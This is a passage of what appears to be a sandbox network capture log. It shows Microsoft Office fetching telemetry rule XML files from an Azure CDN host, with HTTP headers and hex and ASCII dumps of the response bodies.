T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-16849878b78q9m8bqvwuva4svc000000065g000000003de4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: fe72e82f-401e-008c-6e5e-2786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-17c5cb586f62blg5ss55p9d6fn00000008a000000000ev62 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 88d45aac-e01e-003c-3e01-29c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-r197bdfb6b4mcssrk8cfa4gm1g00000001a0000000005aga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:11 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 68c64885-601e-003d-016e-2a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-15b8d89586fmhjx6a8nf3qm53c00000001h0000000001ph4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:12 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5925f4c0-501e-00a3-7895-29c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-17c5cb586f6mhqqby1dwph2kzs00000002u000000000bkgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:12 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-16849878b786lft2mu9uftf3y400000008s000000000mfea x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:12 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-16849878b78smng4k6nq15r6s4000000093g000000007vsq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:12 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-16849878b78sx229w7g7at4nkg00000005q000000000ry4r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:12 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:12 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:12 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051712Z-16849878b786fl7gm2qg4r5y7000000007t000000000frkf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:13 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: eb17c832-b01e-0097-1249-274f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051713Z-16849878b78qf2gleqhwczd21s00000007t00000000092c8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:13 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:13 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:13 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051713Z-16849878b78fhxrnedubv5byks00000005u000000000k7ng x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:13 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:13 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:13 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:13 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051713Z-16849878b78tg5n42kspfr0x4800000007ng0000000055zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
